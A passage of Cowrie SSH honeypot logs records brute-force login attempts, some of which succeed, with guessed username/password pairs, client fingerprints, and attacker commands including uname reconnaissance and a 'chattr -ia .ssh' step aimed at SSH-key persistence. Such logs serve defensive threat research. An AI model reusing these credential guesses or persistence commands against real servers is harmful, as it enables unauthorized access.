16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:16:48.221453Z","src_ip":"2.57.122.96","session":"0da26ea2504b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"4rfv$RFV","message":"login attempt [solana/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:16:48.574005Z","src_ip":"2.57.122.96","session":"0da26ea2504b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:16:49.684392Z","src_ip":"2.57.122.96","session":"0da26ea2504b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":36220,"dst_ip":"159.203.135.109","dst_port":22,"session":"1623b12d2164","protocol":"ssh","message":"New connection: 193.46.255.86:36220 (159.203.135.109:22) [session: 1623b12d2164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:01.107774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:01.112170Z","src_ip":"193.46.255.86","session":"1623b12d2164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:01.244816Z","src_ip":"193.46.255.86","session":"1623b12d2164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin@123","message":"login attempt [admin/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:01.844216Z","src_ip":"193.46.255.86","session":"1623b12d2164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:02.978691Z","src_ip":"193.46.255.86","session":"1623b12d2164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":48866,"dst_ip":"10.17.0.5","dst_port":22,"session":"673d39e05b41","protocol":"ssh","message":"New connection: 2.57.122.96:48866 (10.17.0.5:22) [session: 673d39e05b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:33.056531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:33.060046Z","src_ip":"2.57.122.96","session":"673d39e05b41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:33.158449Z","src_ip":"2.57.122.96","session":"673d39e05b41","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:33.457552Z","src_ip":"2.57.122.96","session":"673d39e05b41","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:33.679770Z","src_ip":"2.57.122.96","session":"673d39e05b41","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:33.682377Z","src_ip":"2.57.122.96","session":"673d39e05b41","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:33.814590Z","src_ip":"2.57.122.96","session":"673d39e05b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:33.819405Z","src_ip":"2.57.122.96","session":"673d39e05b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":34450,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f26125a9aea","protocol":"ssh","message":"New connection: 2.57.122.96:34450 (159.203.135.109:22) [session: 5f26125a9aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:49.503496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:49.558473Z","src_ip":"2.57.122.96","session":"5f26125a9aea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:49.606896Z","src_ip":"2.57.122.96","session":"5f26125a9aea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:50.071079Z","src_ip":"2.57.122.96","session":"5f26125a9aea","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:50.375120Z","src_ip":"2.57.122.96","session":"5f26125a9aea","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:50.377803Z","src_ip":"2.57.122.96","session":"5f26125a9aea","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:50.501183Z","src_ip":"2.57.122.96","session":"5f26125a9aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:19:50.505920Z","src_ip":"2.57.122.96","session":"5f26125a9aea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":36730,"dst_ip":"10.17.0.5","dst_port":22,"session":"4586e64c64dd","protocol":"ssh","message":"New connection: 2.57.121.25:36730 (10.17.0.5:22) [session: 4586e64c64dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:20:02.405132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:20:02.410582Z","src_ip":"2.57.121.25","session":"4586e64c64dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:20:02.513126Z","src_ip":"2.57.121.25","session":"4586e64c64dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"shuan","message":"login attempt [user/shuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:20:02.988306Z","src_ip":"2.57.121.25","session":"4586e64c64dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"shinigami","message":"login attempt [user/shinigami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:20:04.114908Z","src_ip":"2.57.121.25","session":"4586e64c64dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"shimano","message":"login attempt [user/shimano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:20:05.217821Z","src_ip":"2.57.121.25","session":"4586e64c64dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"seventeen","message":"login attempt [user/seventeen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:20:06.320543Z","src_ip":"2.57.121.25","session":"4586e64c64dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"sestra","message":"login attempt [user/sestra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:20:07.427392Z","src_ip":"2.57.121.25","session":"4586e64c64dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:20:08.534868Z","src_ip":"2.57.121.25","session":"4586e64c64dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":54252,"dst_ip":"10.17.0.5","dst_port":22,"session":"d97f3c10a58d","protocol":"ssh","message":"New connection: 2.57.122.96:54252 (10.17.0.5:22) [session: d97f3c10a58d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:23.473571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:23.477827Z","src_ip":"2.57.122.96","session":"d97f3c10a58d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:23.586938Z","src_ip":"2.57.122.96","session":"d97f3c10a58d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"admin@123","message":"login attempt [sol/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:23.979275Z","src_ip":"2.57.122.96","session":"d97f3c10a58d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:25.089128Z","src_ip":"2.57.122.96","session":"d97f3c10a58d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":48492,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1f42626446f","protocol":"ssh","message":"New connection: 2.57.122.96:48492 (159.203.135.109:22) [session: d1f42626446f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:39.333764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:39.443926Z","src_ip":"2.57.122.96","session":"d1f42626446f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:39.447773Z","src_ip":"2.57.122.96","session":"d1f42626446f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"admin@123","message":"login attempt [sol/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:39.897659Z","src_ip":"2.57.122.96","session":"d1f42626446f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:41.000872Z","src_ip":"2.57.122.96","session":"d1f42626446f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.127.40.41","src_port":57744,"dst_ip":"10.17.0.5","dst_port":22,"session":"994a236a2511","protocol":"ssh","message":"New connection: 118.127.40.41:57744 (10.17.0.5:22) [session: 994a236a2511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:48.743771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:48.748353Z","src_ip":"118.127.40.41","session":"994a236a2511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:49.020620Z","src_ip":"118.127.40.41","session":"994a236a2511","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"password@123456789","message":"login attempt [root/password@123456789] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:49.950317Z","src_ip":"118.127.40.41","session":"994a236a2511","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:50.591501Z","src_ip":"118.127.40.41","session":"994a236a2511","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:50.594300Z","src_ip":"118.127.40.41","session":"994a236a2511","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:50.596989Z","src_ip":"118.127.40.41","session":"994a236a2511","protocol":"ssh"}
